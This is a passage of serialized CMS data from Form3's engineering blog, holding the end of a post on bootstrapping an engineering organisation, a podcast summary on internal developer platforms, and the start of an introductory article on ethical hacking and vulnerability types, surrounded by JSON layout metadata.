try to identify the main themes in this bootstrapping process by reflecting on the elements of Form3's makeup which are so successful. There are lots of ways of thinking about this, and grouping different components of a functioning engineering organisation. I have grouped what would otherwise be a long list of themes into three categories: Day One, Day Two, and Considerations. I will write subsequent blog posts about most of the Day One and Two themes to discuss them in detail, whereas the Considerations are briefly discussed towards the end of this post.Day One: themes that I think are most important in the early bootstrapping phase of an engineering organisation.Day Two: themes that I think need to be tackled as engineering organisation begins to grow.Considerations: themes that need to be addressed when starting and growing an engineering organisation, but which I think are issues that need to be addressed on a case-by-case basis.Overall, I hope this series of blog posts serves as a useful set of examples of how to successfully bootstrap an engineering organisation from the beginning.Disclaimer: this is based on my experience working in business-to-customer and business-to-business SAAS environments, where the product is web-based. Your mileage may vary!",{"dimensions":4201,"alt":13,"copyright":13,"url":4202,"id":4203,"edit":4204},{"width":1270,"height":1271},"\u002F_prismic-media\u002Fd9cf5a4d63322a73-zqVtE9CzW8MzmB0E_b4907da6-607a-4a3e-97db-018f95b.jpg","zqVtE9CzW8MzmB0E",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":4208,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":4209},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[4211],{"type":396,"text":1603,"spans":4212},[4213],{"start":1606,"end":1607,"type":744,"data":4214},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":4216,"url":1612,"target":456},"114cf169-5196-4cc4-9d2b-90df34556011",[4218,4375,4420,4464],{"variation":459,"version":460,"items":4219,"primary":4220,"id":4374,"slice_type":479,"slice_label":13},[],{"body":4221},[4222,4225,4227,4230,4232,4234,4242,4245,4248,4251,4254,4257,4260,4263,4266,4269,4277,4280,4283,4286,4289,4292,4295,4298,4302,4305,4308,4311,4314,4318,4321,4324,4327,4330,4333,4336,4339,4342,4345,4352,4355,4358,4361,4368,4371],{"type":465,"text":4223,"spans":4224},"Day One",[],{"type":1097,"text":3392,"spans":4226},[],{"type":396,"text":4228,"spans":4229},"Secrets are required to build and deploy software. Normally when you start out, there are some simple, secure ways to inject secrets into your build and deployment pipelines. For example, with Travis you can use the CLI to commit an encrypted file to a repo, or add an encrypted environment variable. In GitHub actions, you can add a secret to a repo, which you can safely use later in your workflows.",[],{"type":396,"text":3436,"spans":4231},[],{"type":396,"text":3439,"spans":4233},[],{"type":396,"text":4235,"spans":4236},"Read more about my approach to secrets management in pipelines here!",[4237,4238],{"start":17,"end":518,"type":780},{"start":1734,"end":2630,"type":744,"data":4239},{"id":4240,"type":1052,"tags":4241,"lang":13,"slug":1054,"first_publication_date":13,"last_publication_date":13,"link_type":499,"isBroken":1055},"ZFJTaxIAACkAOXFJ",[],{"type":1097,"text":4243,"spans":4244},"Distributed management, DevOps, and hiring",[],{"type":396,"text":4246,"spans":4247},"You might be wondering what management, DevOps, and hiring have in common at Form3 such that I have grouped them together! One of the philosophies underpinning the organisation's foundation was the distribution and delegation of responsibility to a largely self-organising team.",[],{"type":396,"text":4249,"spans":4250},"This means that, as we have grown, our large team has crystallised into multiple independent, and self organising units. Each unit is organised around a particular functional area, and has complete autonomy to run and improve this area.",[],{"type":396,"text":4252,"spans":4253},"The entire engineering organisation was begun as a DevOps team, with a single engineering population responsible for building, deploying, and supporting our platform. This has led to a culture of ownership and pride, and means that each team has everything it needs to operate autonomously.",[],{"type":396,"text":4255,"spans":4256},"This same approach can be seen in many other areas of the engineering organisation at Form3, but it is most notable in our hiring process. There is no hiring manager in charge of engineering hiring at Form3, nor is there a fixed panel of interviewers. Instead, every engineer who has been with the team for longer than 6 months is involved in the process. This means that most of our engineers are also interviewers, and are involved in recruitment activities. This might sound like a lot of non-engineering work for members of our team, however each of interviews is split into three 30 minute segments, each of which is conducted by a different engineer. In practice, an engineer can expect to do a couple of these per month, which means the burden of hiring is greatly reduced, and is distributed across our engineering team.",[],{"type":396,"text":4258,"spans":4259},"This hiring example just serves to demonstrate how the founding team decided to distribute and democratise a range of responsibilities across the entire engineering organisation as it grew. Rather than keeping control of these important activities in the hands of a select few, they have become part of the fabric of our engineering community, and not a bottleneck beholden to a small group of decision makers.",[],{"type":1097,"text":4261,"spans":4262},"Decision making and design",[],{"type":396,"text":4264,"spans":4265},"With a small team, it's easy to quickly make decisions and act on them. Decisions can be made over a cup of coffee, and system architecture can be roughed out on a whiteboard. However, when more people join your team this doesn't scale well, and it isn't very inclusive. Furthermore, the further in the past that you made decisions, the more times people will ask, \"why do we do it that way?\".",[],{"type":396,"text":4267,"spans":4268},"Having a scalable process in place for distributed decision making and design is essential--especially in a remote setting--to making sure everyone is included in shaping the trajectory of your product. It also ensures that future generations of your team can look back on the fruits of your labour, and understand why things are the way they are.",[],{"type":396,"text":4270,"spans":4271},"Read more about my approach to decision making and design here!",[4272,4273],{"start":17,"end":1734,"type":780},{"start":556,"end":3243,"type":744,"data":4274},{"id":4275,"type":1052,"tags":4276,"lang":13,"slug":1054,"first_publication_date":13,"last_publication_date":13,"link_type":499,"isBroken":1055},"ZJmlyBEAAC4AeMca",[],{"type":1097,"text":4278,"spans":4279},"Infrastructure as code",[],{"type":396,"text":4281,"spans":4282},"Although taken for granted now, infrastructure as code was in its infancy when Form3 was founded. Despite its novelty, codified infrastructure (using Terraform) is completely ubiquitous at Form3. Everything from our AWS infrastructure to the repos in our GitHub organisation are managed through Terraform. Anything you can imagine with an API is managed via Terraform (apart from perhaps Slack channels!).",[],{"type":396,"text":4284,"spans":4285},"Beyond the obvious benefits this brings, it means that access to a wide variety of systems is democratised. Everyone can inspect, understand, and contribute to our PagerDuty configuration, network infrastructure, Grafana dashboards, Logz alerts, etc. via a uniform tool chain.",[],{"type":396,"text":4287,"spans":4288},"This has scaled very well with the size of the team, and has maintained a culture that we all own everything equally.",[],{"type":1097,"text":4290,"spans":4291},"Environment access",[],{"type":396,"text":4293,"spans":4294},"You'll probably start with a development environment. Then you might need a testing environment. Soon enough you'll have a production environment, and in no time at all you'll have a fleet of environments to manage. For each environment, your engineers will need a variety of different means of access. For example:",[],{"type":1101,"text":4296,"spans":4297},"SSH access to compute nodes.",[],{"type":1101,"text":4299,"spans":4300},"Control plane access (e.g. via kubectl) to Kubernetes.",[4301],{"start":2585,"end":844,"type":780},{"type":1101,"text":4303,"spans":4304},"Database access to your database servers.",[],{"type":1101,"text":4306,"spans":4307},"Command line or web console access to your cloud provider.",[],{"type":396,"text":4309,"spans":4310},"For some environments, you'll want engineers to have unrestricted access. In others, you'll want access to be tightly controlled, possibly with some kind of privilege escalation and auditing.",[],{"type":396,"text":4312,"spans":4313},"Access to your environments is a fundamental component to your engineering organisation, and getting this right at the beginning will allow your team to grow and build out a platform in a secure, safe way.",[],{"type":396,"text":4315,"spans":4316},"Blog post to follow!",[4317],{"start":17,"end":3298,"type":780},{"type":1097,"text":4319,"spans":4320},"Documentation",[],{"type":396,"text":4322,"spans":4323},"When there are only two engineers in your team, it hardly seems necessary to maintain documentation. Often knowledge is \"tribal\", and is passed on by word of mouth. This scales well in the beginning, when you add a modest number of people to your organisation, but sooner or later it breaks down. At this point, if you never built a culture of written documentation, you have two problems:",[],{"type":582,"text":4325,"spans":4326},"You have no documentation.",[],{"type":582,"text":4328,"spans":4329},"No-one wants to (or is practised at) writing it.",[],{"type":396,"text":4331,"spans":4332},"Starting your organisation with a healthy attitude towards written documentation will pay dividends as your engineering team, and product, grows.",[],{"type":396,"text":4315,"spans":4334},[4335],{"start":17,"end":3298,"type":780},{"type":1097,"text":4337,"spans":4338},"Testing",[],{"type":396,"text":4340,"spans":4341},"Something Form3 does very well, and has done well from the beginning, is automated testing of the software the team builds. This is thanks to a relatively simple formula consisting of:",[],{"type":1101,"text":4343,"spans":4344},"Mainly component-based integration tests.",[],{"type":1101,"text":4346,"spans":4347},"The use of real dependencies where possible, or external mocks where required (e.g. localstack).",[4348],{"start":640,"end":4349,"type":744,"data":4350},94,{"link_type":453,"url":4351},"https:\u002F\u002Fgithub.com\u002Flocalstack\u002Flocalstack",{"type":1101,"text":4353,"spans":4354},"Continuous soak tests in pre-production environments.",[],{"type":1101,"text":4356,"spans":4357},"Few or no unit tests.",[],{"type":396,"text":4359,"spans":4360},"This last point can be a bit controversial, but it has led to a platform that is routinely delivered into production with very rare functional defects. Functional problems are almost always found during development, thanks to the very robust nature of full-stack integration tests. This technique is employed across Form3, to great effect.",[],{"type":396,"text":4362,"spans":4363},"Non-functional problems relating to concurrency or load, are generally picked up by the continuous soak tests we run using f1.",[4364],{"start":4365,"end":973,"type":744,"data":4366},123,{"link_type":453,"url":4367},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1",{"type":396,"text":4369,"spans":4370},"As a result, from day one, we've been able to build and deploy our platform with confidence, with little operational burden on the engineering team, and no manual testers.",[],{"type":396,"text":4315,"spans":4372},[4373],{"start":17,"end":3298,"type":780},"rich_text$9a3d5831-ab1c-416d-8a0f-eea03f792192",{"variation":459,"version":460,"items":4376,"primary":4377,"id":4419,"slice_type":479,"slice_label":13},[],{"body":4378},[4379,4382,4385,4392,4395,4398,4401,4404,4407,4410,4413,4416],{"type":465,"text":4380,"spans":4381},"Day Two",[],{"type":1097,"text":4383,"spans":4384},"Secrets management in applications",[],{"type":396,"text":4386,"spans":4387},"Secrets are required to run your applications. You might start off by using your deployment pipeline to deliver secrets into a runtime environment (via environment variables), although that's obviously not very secure. You might use secret deployment tools like Sealed Secrets to conveniently manage secrets from source control. Both of these approaches, whilst simple, don't allow you to manage a fleet of secrets en-masse.",[4388],{"start":4389,"end":4390,"type":744,"data":4391},262,276,{"link_type":453,"url":3973},{"type":396,"text":4393,"spans":4394},"Pretty soon you will want to start rotating secrets, just like you'll need to in your CI pipelines, and eventually you might want to start using shorter-lived secrets to secure your environment. Building in something that can issue secrets to your applications at runtime, from the very beginning, will set your engineering organisation up for success in the future.",[],{"type":396,"text":4315,"spans":4396},[4397],{"start":17,"end":3298,"type":780},{"type":1097,"text":4399,"spans":4400},"Incident response",[],{"type":396,"text":4402,"spans":4403},"Your software and platform will fail, and it will probably fail often! You want to be prepared for this from the beginning, so that everyone on the team understands how to respond to incidents, and has the tools and experience to do so.",[],{"type":396,"text":4405,"spans":4406},"Part of this is tooling, but a greater part is your organisation's attitude towards incident response, and how it is organised internally.",[],{"type":396,"text":4315,"spans":4408},[4409],{"start":17,"end":3298,"type":780},{"type":1097,"text":4411,"spans":4412},"Observability",[],{"type":396,"text":4414,"spans":4415},"Building applications without an observability platform leaves your engineers blind to how their software is performing, and makes it almost impossible to manage your product in production. Establishing a means of observing your software from day 1 is essential.",[],{"type":396,"text":4315,"spans":4417},[4418],{"start":17,"end":3298,"type":780},"rich_text$554a9c23-bc94-429c-a9c4-62cd2f8d35a5",{"variation":459,"version":460,"items":4421,"primary":4422,"id":4463,"slice_type":479,"slice_label":13},[],{"body":4423},[4424,4427,4430,4433,4436,4439,4442,4445,4448,4451,4454,4457,4460],{"type":465,"text":4425,"spans":4426},"Considerations",[],{"type":1097,"text":4428,"spans":4429},"Building and managing compute capacity",[],{"type":396,"text":4431,"spans":4432},"There are lots of ways to do this, and you'll probably have a preference. As long as you make a sensible choice for your organisation, I don't think you can get this wrong at the beginning. You can always change it later too.",[],{"type":1097,"text":4434,"spans":4435},"Service communication and messaging",[],{"type":396,"text":4437,"spans":4438},"Again, this is probably dependent on your preferences and domain. I don't think the choice of these technologies is critical to your success.",[],{"type":1097,"text":4440,"spans":4441},"Orchestrating containers",[],{"type":396,"text":4443,"spans":4444},"There are also lots of ways of doing this. It's probably harder to change this later if you do get it wrong in the beginning, but this a technology choice you can make based on the tools available on the market.",[],{"type":1097,"text":4446,"spans":4447},"Security considerations",[],{"type":396,"text":4449,"spans":4450},"These will become very important! However, when you're starting a new engineering organisation I don't think you need to solve every problem all at once. If you can get secrets management and environment access right from the beginning, then I think you'll have solved some of the larger challenges, and you can fill in the blanks as your organisation grows.",[],{"type":1097,"text":4452,"spans":4453},"Programming languages",[],{"type":396,"text":4455,"spans":4456},"Choosing a set of programming languages to use is probably one of the more visible choices that need to be made when starting an engineering organisation. Form3 started with Java, and later moved to Go. I don't think a bad choice can really be made here, because it's always possible to move to a different language later. Ultimately, this choice is probably based on your preferences, your experiences, and the type of software you're planning to build.",[],{"type":1097,"text":4458,"spans":4459},"Database engines",[],{"type":396,"text":4461,"spans":4462},"Whilst this is an important consideration, I think it's specific to your domain and preferences.",[],"rich_text$bbca13ff-beb2-4fdf-b0bf-373567206964",{"variation":459,"version":460,"items":4465,"primary":4466,"id":4501,"slice_type":479,"slice_label":13},[],{"body":4467},[4468,4471,4474,4477,4480,4483,4486,4489,4492,4495,4498],{"type":465,"text":4469,"spans":4470},"Conclusion",[],{"type":396,"text":4472,"spans":4473},"Based on my observations and reflections of working for a successful engineering organisation, some of the biggest challenges to get right at the beginning are:",[],{"type":1101,"text":4475,"spans":4476},"Secrets management (in CI, and your environments).",[],{"type":1101,"text":4478,"spans":4479},"Environment access.",[],{"type":1101,"text":4481,"spans":4482},"Observability.",[],{"type":1101,"text":4484,"spans":4485},"Incident response.",[],{"type":1101,"text":4487,"spans":4488},"Decision making and design.",[],{"type":1101,"text":4490,"spans":4491},"Documentation.",[],{"type":1101,"text":4493,"spans":4494},"Testing.",[],{"type":396,"text":4496,"spans":4497},"In my future posts, I will address each of these themes in more detail to try to provide some practical examples of how you can achieve success.",[],{"type":396,"text":4499,"spans":4500},"I think these are the essential ingredients to bootstrapping a successful engineering organisation, and I see signs of these themes everywhere at Form3.",[],"rich_text$aa8fe7ad-3802-4359-9b05-1a614a4b4bb6",{"id":4503,"uid":4504,"url":4505,"type":406,"href":4506,"tags":4507,"first_publication_date":3760,"last_publication_date":4185,"slugs":4508,"linked_documents":4510,"lang":386,"alternate_languages":4511,"data":4512},"alz0zBEAAC0AUWaN","podcast-idp","\u002Fresources\u002Fengineering-blog\u002Fpodcast-idp","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0zBEAAC0AUWaN%22%29+%5D%5D",[],[4509],"ep-41-.tech---internal-developer-platform",[],[],{"title":4513,"excerpt":4514,"card_image":4515,"published_date":4520,"reading_time":667,"tag":427,"dek":4514,"featured_image":4521,"about_form3":4526,"client_about_heading":13,"client_about_body":4527,"author_name":1277,"author_title":1278,"author_photo":4528,"author_bio":4531,"author_linkedin":4534,"slices":4536,"meta_title":4513,"meta_description":4514},".tech Podcast - Internal Developer Platform","Kaspar Von Grünberg is a the CEO and founder of Humanitec. He joins us to discuss what an Internal Developer Platform is and what to focus on when you're building your own. Finally, he provides an overview of Humanitec's platform, which provides open-source tools you can use when you're building your own IDP.",{"dimensions":4516,"alt":4513,"copyright":13,"url":4517,"id":4518,"edit":4519},{"width":420,"height":420},"\u002F_prismic-media\u002F8878ea7d7261787b-d2f9IiEkH4Kuo9vC_podcast-idp.jpg","d2f9IiEkH4Kuo9vC",{"x":17,"y":17,"zoom":18,"background":424},"2023-03-15",{"dimensions":4522,"alt":13,"copyright":13,"url":4523,"id":4524,"edit":4525},{"width":1270,"height":1271},"\u002F_prismic-media\u002F99d952272f18653d-gSb46AAmeC_zeGmj_3a01534e-924e-484d-bab8-62524b5.jpg","gSb46AAmeC_zeGmj",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":4529,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":4530},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[4532],{"type":396,"text":1287,"spans":4533},[],{"link_type":453,"key":4535,"url":1291,"target":456},"271c4b68-d829-4d77-861a-1543b1f15ec7",[4537,4557,4580,4607,4630],{"variation":459,"version":481,"items":4538,"primary":4539,"id":4556,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":4540,"body":4544,"cta_label":1304,"cta_link":4547,"aside_type":13,"aside_image":4550,"aside_video":4551,"aside_video_poster":4552,"aside_video_reduced_motion":4553,"aside_video_url":13,"aside_embed":4554,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":4555,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[4541],{"type":465,"text":4542,"spans":4543},"Ep 41 .tech - Internal Developer Platform",[],[4545],{"type":396,"text":1302,"spans":4546},[],{"link_type":453,"key":4548,"url":4549},"e69e14fb-199e-4f8f-a9e9-4c79693b7538","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-41-tech-internal-developer-platform-w1sFeNgd",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$c339db17-407c-4644-b0ad-210bb4d8aa8e",{"variation":459,"version":460,"items":4558,"primary":4559,"id":4579,"slice_type":479,"slice_label":13},[],{"body":4560},[4561],{"type":396,"text":4562,"spans":4563},"Kaspar Von Grünberg is the CEO and founder of Humanitec. Kaspar is passionate for platform engineering and been building platforms at multiple companies. In 2019, he started building the commercial and open-source products for Internal Developer Platforms, including growing communities at platformengineering.org and PlatformCon. His mission is to consolidate tooling and education for modern internal developer platforms.",[4564,4567,4570,4574],{"start":17,"end":2369,"type":744,"data":4565},{"link_type":453,"url":4566},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fkvgruenberg\u002F",{"start":589,"end":599,"type":744,"data":4568},{"link_type":453,"url":4569},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fhumanitec\u002F",{"start":2084,"end":4571,"type":744,"data":4572},313,{"link_type":453,"url":4573},"https:\u002F\u002Fplatformengineering.org\u002F",{"start":4575,"end":4576,"type":744,"data":4577},318,329,{"link_type":453,"url":4578},"https:\u002F\u002Fplatformcon.com\u002F","rich_text$ec01075c-e1e3-4db5-bfef-1a46f7f94801",{"variation":459,"version":460,"items":4581,"primary":4582,"id":4606,"slice_type":479,"slice_label":13},[],{"body":4583},[4584,4587,4590,4593],{"type":465,"text":4585,"spans":4586},"Characteristics of Internal Developer Platforms(IDPs)",[],{"type":396,"text":4588,"spans":4589},"Kaspar begins by telling us what an internal developer platform is NOT. He underlines that there is no out-of-box Internal Developer Platform (IDP). The vendor solutions are Platform as a Service (PaaS) solutions.",[],{"type":396,"text":4591,"spans":4592},"An IDP has two main pillars: standardisation by design and developer self-service. These two pillars can only be achieved by building an IDP, which consists of the tech and tools that a platform engineering team binds into \"golden paths\" for developers. The platform will look different from organisation to organisation, and even vertical to vertical, so there is no simple answer to what an IDP is.",[],{"type":396,"text":4594,"spans":4595},"While there is no one-size-fits-all IDP, Kaspar has seen similarities in the design of IDPs and is keen to share his knowledge on the topic. There is a cost to building an IDP, especially for small teams. Even when the system is small the team can embrace good practices such as separation of concerns and using base Helm charts. This will help engineering teams reuse code and make it easier to extend the system with new services. Humanitec Score is an open-source tool that can help with workload specification. However, Kaspar estimates that a team of less than 40-50 developers that isn't planning to scale probably doesn't need to invest in building an IDP.",[4596,4601],{"start":4597,"end":4598,"type":744,"data":4599},312,328,{"link_type":453,"url":4600},"https:\u002F\u002Fhelm.sh\u002Fdocs\u002Fchart_template_guide\u002Fsubcharts_and_globals\u002F",{"start":4602,"end":4603,"type":744,"data":4604},433,448,{"link_type":453,"url":4605},"https:\u002F\u002Fgithub.com\u002Fscore-spec\u002Fscore-humanitec","rich_text$58e35e8e-7ec6-4820-9e84-d430acfa2014",{"variation":459,"version":460,"items":4608,"primary":4609,"id":4629,"slice_type":479,"slice_label":13},[],{"body":4610},[4611,4614,4617,4623,4626],{"type":465,"text":4612,"spans":4613},"IDP focus areas",[],{"type":396,"text":4615,"spans":4616},"IDPs can be used abstraction layers between the underlying technology and the developers building workloads. Kaspar recommends that we are careful with hiding details behind shiny interfaces and making things \"magically happen\". In a good engineering setup, you should never remove context. The developers need to understand exactly what happens under the hood, have good feedback and understand configuration. This is what a golden path is for developers, versus a golden cage that provides no context or freedom. One of the goals of platform engineering is to help developers solve business problems, through frictionless golden paths.",[],{"type":396,"text":4618,"spans":4619},"Kaspar has written a blogpost \"The top 10 fallacies in platform engineering\", which presents findings collected from speaking with 1850 engineering organisations.",[4620],{"start":555,"end":1507,"type":744,"data":4621},{"link_type":453,"url":4622},"https:\u002F\u002Fhumanitec.com\u002Fblog\u002Ftop-10-fallacies-in-platform-engineering",{"type":396,"text":4624,"spans":4625},"While it is difficult to give generalised advice, Kaspar recommends to start building your IDP with configuration management, bringing the idea of layered abstractions which separates the environment agnostic from the environment specific. Developers can specify what they need and the platform team can set certain defaults. Deployments then bring these two together and create configurations dynamically.",[],{"type":396,"text":4627,"spans":4628},"The needs of your IDP should be based on your business and engineering organisation. You should take a step back before you start building an IDP, ask your users what they want and try to figure out what the largest return on investment for your efforts is before you decide what your IDP should look like.",[],"rich_text$a6e5f43f-dbb5-48dc-8151-361684b43aee",{"variation":459,"version":460,"items":4631,"primary":4632,"id":4671,"slice_type":479,"slice_label":13},[],{"body":4633},[4634,4637,4643,4646,4651,4657,4663,4666],{"type":465,"text":4635,"spans":4636},"The Humanitec platform",[],{"type":396,"text":4638,"spans":4639},"Kaspar provides us an overview of the Humanitec platform. It is not an out-of the box IDP or developer portal. It helps you build golden paths by gluing the tools and technologies you use together. They work with large enterprises and have had over 22,000 signups in the last quarter alone. The Humanitec platform can help you build golden paths, but there is a lot of work your organisation must do as well to alleviate tension between developers and operations.",[4640],{"start":844,"end":662,"type":744,"data":4641},{"link_type":453,"url":4642},"https:\u002F\u002Fhumanitec.com\u002Fproduct",{"type":396,"text":4644,"spans":4645},"Humanitec provides three tools:",[],{"type":1101,"text":4647,"spans":4648},"Humanitec Score is an open-source tool with over 7,500 GitHub stars. It provides an open format to help developers describe what resources your workload needs in an environment agnostic way. It creates one configuration rule that works across all environments.",[4649],{"start":17,"end":2000,"type":744,"data":4650},{"link_type":453,"url":4605},{"type":1101,"text":4652,"spans":4653},"Humanitec Platform Orchestrator is a context-aware configuration file generator. It takes in the abstract file from the Score specification, reads it and follows a read-match-create-deploy (RMCD) execution pattern. It is available as a SaaS product or it can be used independently, but it will require connectivity to all of your clusters.",[4654],{"start":17,"end":2585,"type":744,"data":4655},{"link_type":453,"url":4656},"https:\u002F\u002Fhumanitec.com\u002Fblog\u002Fwhat-is-a-platform-orchestrator",{"type":1101,"text":4658,"spans":4659},"Humanitec Resource Drivers is open-source and provides drivers that help the Orchestrator connect to various clouds, Crossplane, Terraform etc. They are effectively plugins for the Orchestrator.",[4660],{"start":17,"end":596,"type":744,"data":4661},{"link_type":453,"url":4662},"https:\u002F\u002Fdocs.humanitec.com\u002Fintegrations\u002Fresource-drivers",{"type":396,"text":4664,"spans":4665},"The bottomline is that if you are using the Humanitec platform approach, developers have a way of creating golden paths and can always drop down to using Terraform if the need arises. Most importantly, they can deliver fast without being dependent on operations. Humanitec is used by a lot of banks and financial institutions.",[],{"type":396,"text":4667,"spans":4668},"Humanitec is running PlatformCon 2023, which is a free, online event taking place 08-09 June. Make sure to join if you are interested in all things platform engineering.",[4669],{"start":706,"end":475,"type":744,"data":4670},{"link_type":453,"url":4578},"rich_text$7c8aa1b1-d46c-449f-9972-d14f6b26ccba",{"id":4673,"uid":4674,"url":4675,"type":406,"href":4676,"tags":4677,"first_publication_date":3760,"last_publication_date":4678,"slugs":4679,"linked_documents":4681,"lang":386,"alternate_languages":4682,"data":4683},"alz00BEAACwAUWaW","intro-ethical-hacking","\u002Fresources\u002Fengineering-blog\u002Fintro-ethical-hacking","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz00BEAACwAUWaW%22%29+%5D%5D",[],"2026-08-27T21:34:46+0000",[4680],"types-of-security-vulnerabilities",[],[],{"title":4684,"excerpt":4685,"card_image":4686,"published_date":4691,"reading_time":1105,"tag":427,"dek":4685,"featured_image":4692,"about_form3":4693,"client_about_heading":13,"client_about_body":4694,"author_name":1277,"author_title":1278,"author_photo":4695,"author_bio":4698,"author_linkedin":4701,"slices":4703,"meta_title":4684,"meta_description":4685},"Introduction Ethical Hacking","No system is free of security vulnerabilities, which can be exploited to gain access to restricted resources. Ethical hackers are our allies, using the same techniques as malicious actors to help us find and fix the security vulnerabilities of our systems. In this short introductory article, we explore: the different types of hackers, the goals of ethical hacking and the main activities of ethical hackers.",{"dimensions":4687,"alt":4684,"copyright":13,"url":4688,"id":4689,"edit":4690},{"width":420,"height":420},"\u002F_prismic-media\u002F76c47ce37c16ad10-DiZd9aUUFZu5muJX_intro-ethical-hacking.png","DiZd9aUUFZu5muJX",{"x":17,"y":17,"zoom":18,"background":19},"2023-03-02",{},[],[],{"dimensions":4696,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":4697},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[4699],{"type":396,"text":1287,"spans":4700},[],{"link_type":453,"key":4702,"url":1291,"target":456},"2470217c-0573-49bc-8433-7298d94c844a",[4704,4745,4767,4785,4816,4838],{"variation":459,"version":460,"items":4705,"primary":4706,"id":4744,"slice_type":479,"slice_label":13},[],{"body":4707},[4708,4711,4717,4721,4725,4729,4733,4737,4741],{"type":1097,"text":4709,"spans":4710,"direction":4053},"Types of security vulnerabilities",[],{"type":396,"text":4712,"spans":4713,"direction":4053},"According to online estimates, the estimated worldwide cost of cybercrime could be as high as $10.5 trillion annually by 2025. Cybercriminals are constantly on the look out for security vulnerabilities and ways to compromise systems through illegal activities such as ransomware, phishing or various types of cyberattacks.",[4714],{"start":1403,"end":586,"type":744,"data":4715},{"link_type":453,"url":4716,"target":456},"https:\u002F\u002Fcybersecurityventures.com\u002Fcybercrime-damage-costs-10-trillion-by-2025\u002F",{"type":396,"text":4718,"spans":4719,"direction":4053},"A security vulnerability is a flaw or weakness in a system that can be exploited by malicious actors to gain access to restricted resources. No system is ever fully secure or free of vulnerabilities. Based on their cause, we can identify five types of security vulnerabilities:",[4720],{"start":2010,"end":1381,"type":477},{"type":582,"text":4722,"spans":4723,"direction":4053},"Misconfigurations consist of the incorrect manual configuration of security policies. They are the most commonly occurring vulnerability for cloud resources and APIs.",[4724],{"start":17,"end":967,"type":477},{"type":582,"text":4726,"spans":4727,"direction":4053},"Outdated software does not have security patches from software vendors applied to it. The system owners might be slow to apply these updates, exposing themselves to exploitation risk.",[4728],{"start":17,"end":967,"type":477},{"type":582,"text":4730,"spans":4731,"direction":4053},"Zero-day vulnerabilities are flaws discovered by malicious actions but have not been fixed by the software vendor yet. Preventing and detecting these kinds of attacks requires a coordinated effort between the organisation and the vendor.",[4732],{"start":17,"end":1381,"type":477},{"type":582,"text":4734,"spans":4735,"direction":4053},"Compromised user credentials can be used to gain unauthorised access to the system, while appearing as a valid user. Brute force attacks can be used to break weak credentials or they can also be stolen through a previous data breach.",[4736],{"start":17,"end":1071,"type":477},{"type":582,"text":4738,"spans":4739,"direction":4053},"Network vulnerabilities are caused by exposing either the network's hardware or software through insecure access points or firewalls.",[4740],{"start":17,"end":2532,"type":477},{"type":396,"text":4742,"spans":4743,"direction":4053},"All of the security vulnerabilities presented have a human element to them. The process of securing software involves a constant effort of change control and security review. The table below presents examples of each type of security vulnerability:",[],"rich_text$686773a6-fcb4-444d-b643-511313484c24",{"variation":459,"version":481,"items":4746,"primary":4747,"id":4766,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":4748,"body":4749,"cta_label":13,"cta_link":4753,"aside_type":488,"aside_image":4754,"aside_video":4761,"aside_video_poster":4762,"aside_video_reduced_motion":4763,"aside_video_url":13,"aside_embed":4764,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":4765,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[4750],{"type":396,"text":4751,"spans":4752},"Examples of each vulnerability type",[],{"link_type":487},{"dimensions":4755,"alt":13,"copyright":13,"url":4758,"id":4759,"edit":4760},{"width":4756,"height":4757},1614,1035,"\u002F_prismic-media\u002Fa3f6c14430b6582a--dpOegsdv6Nnngrp_8ec5adc6-2e09-4035-b01f-a632c0f.png","-dpOegsdv6Nnngrp",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$663c9027-5337-410b-9476-f67e4936ee8d",{"variation":459,"version":460,"items":4768,"primary":4769,"id":4784,"slice_type":479,"slice_label":13},[],{"body":4770},[4771,4774,4778,4781],{"type":1097,"text":4772,"spans":4773,"direction":4053},"The goal of ethical hacking",[],{"type":396,"text":4775,"spans":4776,"direction":4053},"Ethical hacking is the practice of testing a system, network or service to find security vulnerabilities. Ethical hackers use the same tools and techniques as malicious hackers, but they undertake this work to support the system owners in securing their system before malicious actors exploit these vulnerabilities.",[4777],{"start":17,"end":2000,"type":477},{"type":396,"text":4779,"spans":4780,"direction":4053},"While they have significant engineering knowledge and skills, ethical hackers operate under a different mindset from engineers. They analyse all possible uses of a resource or library, attempting to uncover errors.",[],{"type":396,"text":4782,"spans":4783,"direction":4053},"As production systems change and evolve, new vulnerabilities can be introduced by either the system or its third-party dependencies. In effect, this means that no system is fully secured and the work of ethical hackers never stops. They keep up to date with new vulnerabilities discovered in third party tools, assessing their effect on the system they are responsible for and coordinating an action plan to minimise their effect.",[],"rich_text$27f2366f-1e5a-4642-938d-8e37cad52d7a",{"variation":459,"version":460,"items":4786,"primary":4787,"id":4815,"slice_type":479,"slice_label":13},[],{"body":4788},[4789,4792,4795,4799,4803,4807,4812],{"type":1097,"text":4790,"spans":4791,"direction":4053},"Activities of ethical hackers",[],{"type":396,"text":4793,"spans":4794,"direction":4053},"The tools and techniques required to detect and fix system vulnerabilities 